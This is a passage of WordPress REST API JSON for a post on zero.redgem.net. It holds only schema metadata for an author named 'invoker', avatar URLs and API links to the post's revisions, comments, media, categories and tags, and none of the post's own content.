redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/10384","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10384"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/10384\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10384"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10384"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10384"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}